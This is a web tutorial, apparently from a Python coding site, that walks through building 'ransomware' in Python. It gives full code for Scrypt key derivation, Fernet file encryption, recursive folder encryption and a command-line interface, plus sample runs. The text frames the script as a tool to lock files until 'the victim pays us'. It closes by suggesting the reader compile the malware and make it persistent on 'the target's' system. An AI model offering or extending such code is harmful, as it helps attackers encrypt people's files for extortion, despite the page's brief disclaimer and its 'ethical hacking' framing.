Want to code faster? Our Python Code Generator lets you create Python scripts with just a few clicks. Try it now!
Ransomware is a type of malware that encrypts the files of a system and decrypts only after a sum of money is paid to the attacker.
Encryption is the process of converting plaintext, which is data that is readable by humans, into ciphertext, which is a scrambled version of the data that is impossible for humans to read. The process of converting ciphertext back into plaintext is known as decryption.
Encryption is used to secure data during transmission, storage, and processing. It is a fundamental tool for protecting information from unauthorized access and is essential for maintaining the confidentiality and integrity of data. Encryption is used in a variety of applications, including secure communication, secure online banking and shopping, and protecting sensitive data stored on computers and servers.
There are two main encryption methods, which are symmetric-key encryption and public-key (asymmetric) encryption. Symmetric-key encryption involves using the same key for both encryption and decryption (which we'll use in this tutorial), while public-key encryption uses a pair of keys, a public key for encryption and a private key for decryption.
There are a lot of types of ransomware. The one we will build in this tutorial uses the same password to encrypt and decrypt the data. In other words, we use key derivation functions to derive a key from a password. So, hypothetically, when the victim pays us, we will simply give him the password to decrypt their files.
Thus, instead of randomly generating a key, we use a password to derive the key, and there are algorithms for this purpose. One of these algorithms is Scrypt, a password-based key derivation function created in 2009 by Colin Percival.
This tutorial will basically extend the encryption tutorial; many of the core functions are brought from there.
To get started writing the ransomware, we need to install the cryptography
library:
$ pip install cryptography
There are many encryption algorithms out there. This library is built on top of the AES encryption algorithm.
Open up a new file, call it ransomware.py
and import the following:
import pathlib
import secrets
import os
import base64
import getpass
import cryptography
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives.kdf.scrypt import Scrypt
Don't worry about these imported libraries for now. I will explain each part of the code as we proceed.
Get: Build 35+ Ethical Hacking Tools & Scripts with Python EBook.
First, key derivation functions need random bits added to the password before it's hashed; these bits are often called salts, which help strengthen security and protect against dictionary and brute-force attacks. Let's make a function to generate that using the secrets
module:
def generate_salt(size=16):
"""Generate the salt used for key derivation,
`size` is the length of the salt to generate"""
return secrets.token_bytes(size)
We are using the secrets
module instead of random
because secrets
is used for generating cryptographically strong random numbers suitable for password generation, security tokens, salts, etc.
Next, let’s make a function to derive the key from the password and the salt:
def derive_key(salt, password):
"""Derive the key from the `password` using the passed `salt`"""
kdf = Scrypt(salt=salt, length=32, n=2**14, r=8, p=1)
return kdf.derive(password.encode())
We initialize the Scrypt algorithm by passing the following:
salt
.length
of the key (32 in this case).n
: CPU/Memory cost parameter which must be larger than 1 and be a power of 2.r
: Block size parameter.p
: Parallelization parameter.As mentioned in the documentation, n
, r
, and p
can adjust the computational and memory cost of the Scrypt algorithm. RFC 7914 recommends r=8
, p=1
, where the original Scrypt paper suggests that n
should have a minimum value of 2**14
for interactive logins or 2**20
for more sensitive files, you can check the documentation for more information.
Next, we make a function to load a previously generated salt:
def load_salt():
# load salt from salt.salt file
return open("salt.salt", "rb").read()
Now that we have the salt generation and key derivation functions, let's make the core function that generates the key from a password:
def generate_key(password, salt_size=16, load_existing_salt=False, save_salt=True):
"""Generates a key from a `password` and the salt.
If `load_existing_salt` is True, it'll load the salt from a file
in the current directory called "salt.salt".
If `save_salt` is True, then it will generate a new salt
and save it to "salt.salt" """
if load_existing_salt:
# load existing salt
salt = load_salt()
elif save_salt:
# generate new salt and save it
salt = generate_salt(salt_size)
with open("salt.salt", "wb") as salt_file:
salt_file.write(salt)
# generate the key from the salt and the password
derived_key = derive_key(salt, password)
# encode it using Base 64 and return it
return base64.urlsafe_b64encode(derived_key)
The above function accepts the following arguments:
password
: The password string to generate the key from.salt_size
: An integer indicating the size of the salt to generate.load_existing_salt
: A boolean indicating whether we load a previously generated salt.save_salt
: A boolean to indicate whether we save the generated salt.After we load or generate a new salt, we derive the key from the password using our derive_key()
function and return the key as a Base64-encoded text.
Related: How to Create a Reverse Shell in Python
Now, we dive into the most exciting part, encryption and decryption functions:
def encrypt(filename, key):
"""Given a filename (str) and key (bytes), it encrypts the file and write it"""
f = Fernet(key)
with open(filename, "rb") as file:
# read all file data
file_data = file.read()
# encrypt data
encrypted_data = f.encrypt(file_data)
# write the encrypted file
with open(filename, "wb") as file:
file.write(encrypted_data)
Pretty straightforward, after we make the Fernet
object from the key passed to this function, we read the file data and encrypt it using the Fernet.encrypt()
method.
After that, we take the encrypted data and override the original file with the encrypted file by simply writing the file with the same original name.
Okay, that's done. Going to the decryption function now, it is the same process, except we will use the decrypt()
function instead of encrypt()
on the Fernet
object:
def decrypt(filename, key):
"""Given a filename (str) and key (bytes), it decrypts the file and write it"""
f = Fernet(key)
with open(filename, "rb") as file:
# read the encrypted data
encrypted_data = file.read()
# decrypt data
try:
decrypted_data = f.decrypt(encrypted_data)
except cryptography.fernet.InvalidToken:
print("[!] Invalid token, most likely the password is incorrect")
return
# write the original file
with open(filename, "wb") as file:
file.write(decrypted_data)
We add a simple try-except block to handle the exception when the password is incorrect.
Again, the two above functions were brought from the encryption tutorial.
Get: Build 35+ Ethical Hacking Tools & Scripts with Python EBook.
Awesome! Before testing our functions, we need to remember that ransomware encrypts entire folders or even the entire computer system, not just a single file.
Therefore, we must write code to encrypt folders with their subfolders and files. Let’s start with encrypting folders:
def encrypt_folder(foldername, key):
# if it's a folder, encrypt the entire folder (i.e all the containing files)
for child in pathlib.Path(foldername).glob("*"):
if child.is_file():
print(f"[*] Encrypting {child}")
# encrypt the file
encrypt(child, key)
elif child.is_dir():
# if it's a folder, encrypt the entire folder by calling this function recursively
encrypt_folder(child, key)
Not that complicated; we use the glob()
method from the pathlib
module’s Path()
class to get all the subfolders and files in that folder. It is the same as os.scandir()
except that pathlib
returns Path
objects and not regular Python strings.
Inside the for
loop, we check if this child path object is a file or a folder. We use our previously defined encrypt()
function if it is a file. If it's a folder, we recursively run the encrypt_folder()
but pass the child
path into the foldername
argument.
The same thing for decrypting folders:
def decrypt_folder(foldername, key):
# if it's a folder, decrypt the entire folder
for child in pathlib.Path(foldername).glob("*"):
if child.is_file():
print(f"[*] Decrypting {child}")
# decrypt the file
decrypt(child, key)
elif child.is_dir():
# if it's a folder, decrypt the entire folder by calling this function recursively
decrypt_folder(child, key)
That's great! Now, all we have to do is use the argparse
module to make our script as easily usable as possible from the command line:
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser(description="File Encryptor Script with a Password")
parser.add_argument("path", help="Path to encrypt/decrypt, can be a file or an entire folder")
parser.add_argument("-s", "--salt-size", help="If this is set, a new salt with the passed size is generated",
type=int)
parser.add_argument("-e", "--encrypt", action="store_true",
help="Whether to encrypt the file/folder, only -e or -d can be specified.")
parser.add_argument("-d", "--decrypt", action="store_true",
help="Whether to decrypt the file/folder, only -e or -d can be specified.")
# parse the arguments
args = parser.parse_args()
# get the password
if args.encrypt:
password = getpass.getpass("Enter the password for encryption: ")
elif args.decrypt:
password = getpass.getpass("Enter the password you used for encryption: ")
# generate the key
if args.salt_size:
key = generate_key(password, salt_size=args.salt_size, save_salt=True)
else:
key = generate_key(password, load_existing_salt=True)
# get the encrypt and decrypt flags
encrypt_ = args.encrypt
decrypt_ = args.decrypt
# check if both encrypt and decrypt are specified
if encrypt_ and decrypt_:
raise TypeError("Please specify whether you want to encrypt the file or decrypt it.")
elif encrypt_:
if os.path.isfile(args.path):
# if it is a file, encrypt it
encrypt(args.path, key)
elif os.path.isdir(args.path):
encrypt_folder(args.path, key)
elif decrypt_:
if os.path.isfile(args.path):
decrypt(args.path, key)
elif os.path.isdir(args.path):
decrypt_folder(args.path, key)
else:
raise TypeError("Please specify whether you want to encrypt the file or decrypt it.")
Okay, so we're expecting a total of four parameters, which are the path of the folder/file to encrypt or decrypt, the salt size, which, if passed, generates a new salt with the given size, and whether to encrypt or decrypt via -e
or -d
parameters respectively.
Learn also: How to Make a Keylogger in Python.
To test our script, you have to come up with files you don't need or have a copy of them somewhere on your computer. For my case, I've made a folder named test-folder
in the same directory where ransomware.py
is located and brought some PDF documents, images, text files, and other files. Here's the content of it:
And here's what's inside the Files folder:
Where Archive and Programs contain some zip files and executables, let’s try to encrypt this entire test-folder
folder:
$ python ransomware.py -e test-folder -s 32
I've specified the salt to be 32 in size and passed the test-folder
to the script. You will be prompted for a password for encryption; let's use "1234"
:
Enter the password for encryption:
[*] Encrypting test-folder\Documents\2171614.xlsx
[*] Encrypting test-folder\Documents\receipt.pdf
[*] Encrypting test-folder\Files\Archive\12_compressed.zip
[*] Encrypting test-folder\Files\Archive\81023_Win.zip
[*] Encrypting test-folder\Files\Programs\Postman-win64-9.15.2-Setup.exe
[*] Encrypting test-folder\Pictures\crai.png
[*] Encrypting test-folder\Pictures\photo-22-09.jpg
[*] Encrypting test-folder\Pictures\photo-22-14.jpg
[*] Encrypting test-folder\test.txt
[*] Encrypting test-folder\test2.txt
[*] Encrypting test-folder\test3.txt
You'll be prompted to enter a password, get_pass()
hides the characters you type, so it's more secure.
It looks like the script successfully encrypted the entire folder! You can test it by yourself on a folder you come up with (I insist, please don't use it on files you need and do not have a copy elsewhere).
The files remain in the same extension, but if you right-click, you won’t be able to read anything.
You will also notice that salt.salt
file appeared in your current working directory. Do not delete it, as it’s necessary for the decryption process.
Let's try to decrypt it with a wrong password, something like "1235"
and not "1234"
:
$ python ransomware.py -d test-folder
Enter the password you used for encryption:
[*] Decrypting test-folder\Documents\2171614.xlsx
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\Documents\receipt.pdf
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\Files\Archive\12_compressed.zip
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\Files\Archive\81023_Win.zip
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\Files\Programs\Postman-win64-9.15.2-Setup.exe
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\Pictures\crai.png
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\Pictures\photo-22-09.jpg
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\Pictures\photo-22-14.jpg
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\test.txt
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\test2.txt
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\test3.txt
[!] Invalid token, most likely the password is incorrect
In the decryption process, do not pass -s
as it will generate a new salt and override the previous salt that was used for encryption and so you won't be able to recover your files. You can edit the code to prevent this parameter in decryption.
The folder is still encrypted, as the password is wrong. Let's re-run with the correct password, "1234"
:
$ python ransomware.py -d test-folder
Enter the password you used for encryption:
[*] Decrypting test-folder\Documents\2171614.xlsx
[*] Decrypting test-folder\Documents\receipt.pdf
[*] Decrypting test-folder\Files\Archive\12_compressed.zip
[*] Decrypting test-folder\Files\Archive\81023_Win.zip
[*] Decrypting test-folder\Files\Programs\Postman-win64-9.15.2-Setup.exe
[*] Decrypting test-folder\Pictures\crai.png
[*] Decrypting test-folder\Pictures\photo-22-09.jpg
[*] Decrypting test-folder\Pictures\photo-22-14.jpg
[*] Decrypting test-folder\test.txt
[*] Decrypting test-folder\test2.txt
[*] Decrypting test-folder\test3.txt
The entire folder is back to its original form; now, all the files are readable! So it's working!
Disclaimer: It's important to note that creating and distributing ransomware is illegal and unethical. It can cause significant harm to individuals and organizations by disrupting their operations and potentially costing them a large amount of money to recover their files. It's important to use encryption responsibly and only for legitimate purposes.
The tutorial has described a process for creating ransomware, a type of malicious software that encrypts a victim's files and demands payment in exchange for the decryption key. The key is derived from a password using the Scrypt algorithm and salt, which helps to strengthen the security of the key derivation process. While encryption can be a useful tool for protecting data, it's important to use it responsibly and not to create or distribute malicious software like ransomware, as it can cause significant harm and is illegal.
Alright, we're done! A good next step is to convert your malware into an executable, and then make it persistent on the target's operating system.
You can get the complete code for this tutorial here.
Are you interested in learning more about ethical hacking and building tools to protect against cyber threats? Our Ethical Hacking with Python Ebook is the perfect resource for you! This comprehensive guide covers building tools in various topics, including information gathering, malware, and network packet manipulation. You'll learn how to build tools like a reverse shell, password cracking tools, and many more (More than 35 pen-testing tools).
With step-by-step instructions and clear explanations, this EBook is perfect for both beginners and experienced professionals looking to expand their knowledge in the field of ethical hacking with Python. Don't miss out on this opportunity to become an expert in cyber security – get your copy today!
Happy hacking ♥
Found the article interesting? You'll love our Python Code Generator! Give AI a chance to do the heavy lifting for you. Check it out!
View Full Code Create Code for Me
Got a coding query or need some guidance before you comment? Check out this Python Code Assistant for expert advice and handy tips. It's like having a coding tutor right in your fingertips!